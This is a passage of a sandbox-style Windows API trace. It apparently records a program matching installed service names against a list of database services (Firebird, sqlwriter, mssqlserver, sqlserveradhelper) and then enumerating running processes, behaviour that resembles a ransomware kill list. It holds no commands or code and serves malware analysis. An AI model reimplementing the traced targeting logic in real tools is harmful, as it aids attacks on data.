	[0064.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0064.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0064.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0064.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0064.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0064.172] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0064.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0064.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0064.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0064.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0064.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0064.172] lstrlenW (lpString="lfsvc") returned 5
	[0064.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0064.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0064.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0064.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0064.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0064.172] lstrlenW (lpString="lmhosts") returned 7
	[0064.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0064.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0064.173] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0064.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0064.173] lstrlenW (lpString="LSM") returned 3
	[0064.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0064.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0064.173] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0064.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0064.173] lstrlenW (lpString="MapsBroker") returned 10
	[0064.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0064.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0064.173] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0064.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0064.173] lstrlenW (lpString="MpsSvc") returned 6
	[0064.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0064.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0064.173] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0064.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0064.173] lstrlenW (lpString="NcbService") returned 10
	[0064.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0064.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0064.173] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0064.173] lstrlenW (lpString="netprofm") returned 8
	[0064.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0064.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0064.173] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0064.174] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0064.174] lstrlenW (lpString="NgcSvc") returned 6
	[0064.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0064.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0064.174] lstrlenW (lpString="NlaSvc") returned 6
	[0064.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0064.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0064.174] lstrlenW (lpString="nsi") returned 3
	[0064.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0064.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0064.174] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0064.174] lstrlenW (lpString="PcaSvc") returned 6
	[0064.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0064.174] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0064.174] lstrlenW (lpString="PlugPlay") returned 8
	[0064.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0064.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0064.174] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0064.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0064.174] lstrlenW (lpString="Power") returned 5
	[0064.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0064.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0064.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0064.175] lstrlenW (lpString="ProfSvc") returned 7
	[0064.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0064.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0064.175] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0064.175] lstrlenW (lpString="RpcEptMapper") returned 12
	[0064.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0064.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0064.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0064.175] lstrlenW (lpString="RpcSs") returned 5
	[0064.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0064.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0064.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0064.175] lstrlenW (lpString="SamSs") returned 5
	[0064.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0064.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0064.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0064.175] lstrlenW (lpString="Schedule") returned 8
	[0064.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0064.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0064.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0064.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0064.176] lstrlenW (lpString="SecurityHealthService") returned 21
	[0064.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0064.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0064.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0064.176] lstrlenW (lpString="SENS") returned 4
	[0064.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0064.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0064.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0064.176] lstrlenW (lpString="ShellHWDetection") returned 16
	[0064.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0064.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0064.176] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0064.176] lstrlenW (lpString="Spooler") returned 7
	[0064.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0064.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0064.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0064.176] lstrlenW (lpString="StateRepository") returned 15
	[0064.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0064.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0064.176] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0064.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0064.176] lstrlenW (lpString="SysMain") returned 7
	[0064.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0064.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0064.177] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0064.177] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0064.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f9b0 | out: hHeap=0x4f0000) returned 1
	[0064.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364
	[0064.696] Process32FirstW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0064.697] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0064.698] lstrlenW (lpString="System") returned 6
	[0064.698] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0064.698] lstrlenW (lpString="smss.exe") returned 8
	[0064.699] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0064.699] lstrlenW (lpString="csrss.exe") returned 9
	[0064.699] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0064.700] lstrlenW (lpString="wininit.exe") returned 11
	[0064.700] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0064.701] lstrlenW (lpString="csrss.exe") returned 9
	[0064.701] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0064.701] lstrlenW (lpString="winlogon.exe") returned 12
	[0064.701] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0064.702] lstrlenW (lpString="services.exe") returned 12
	[0064.702] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0064.703] lstrlenW (lpString="lsass.exe") returned 9
	[0064.703] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.703] lstrlenW (lpString="svchost.exe") returned 11
	[0064.703] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0064.705] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0064.705] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0064.705] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0064.705] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.706] lstrlenW (lpString="svchost.exe") returned 11
	[0064.706] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0064.707] lstrlenW (lpString="dwm.exe") returned 7
	[0064.707] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.707] lstrlenW (lpString="svchost.exe") returned 11
	[0064.707] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.708] lstrlenW (lpString="svchost.exe") returned 11
	[0064.708] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.709] lstrlenW (lpString="svchost.exe") returned 11
	[0064.709] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.709] lstrlenW (lpString="svchost.exe") returned 11
	[0064.709] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.710] lstrlenW (lpString="svchost.exe") returned 11
	[0064.710] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.711] lstrlenW (lpString="svchost.exe") returned 11
	[0064.711] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.712] lstrlenW (lpString="svchost.exe") returned 11
	[0064.712] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.712] lstrlenW (lpString="svchost.exe") returned 11
	[0064.712] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.713] lstrlenW (lpString="svchost.exe") returned 11
	[0064.713] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0064.714] lstrlenW (lpString="spoolsv.exe") returned 11
	[0064.714] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.714] lstrlenW (lpString="svchost.exe") returned 11
	[0064.714] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.715] lstrlenW (lpString="svchost.exe") returned 11
	[0064.715] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0064.716] lstrlenW (lpString="audiodg.exe") returned 11
	[0064.716] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0064.716] lstrlenW (lpString="sihost.exe") returned 10
	[0064.717] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0064.717] lstrlenW (lpString="svchost.exe") returned 11
	[0064.717] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0064.718] lstrlenW (lpString="taskhostw.exe") returned 13
	[0064.718] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0064.719] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0064.719] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0064.719] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0064.719] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0064.720] lstrlenW (lpString="explorer.exe") returned 12
	[0064.720] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0064.721] lstrlenW (lpString="Memory Compression") returned 18
	[0064.721] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0064.721] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0064.721] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0064.722] lstrlenW (lpString="SearchUI.exe") returned 12
	[0064.722] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0064.723] lstrlenW (lpString="RuntimeBroker.exe") returned 17
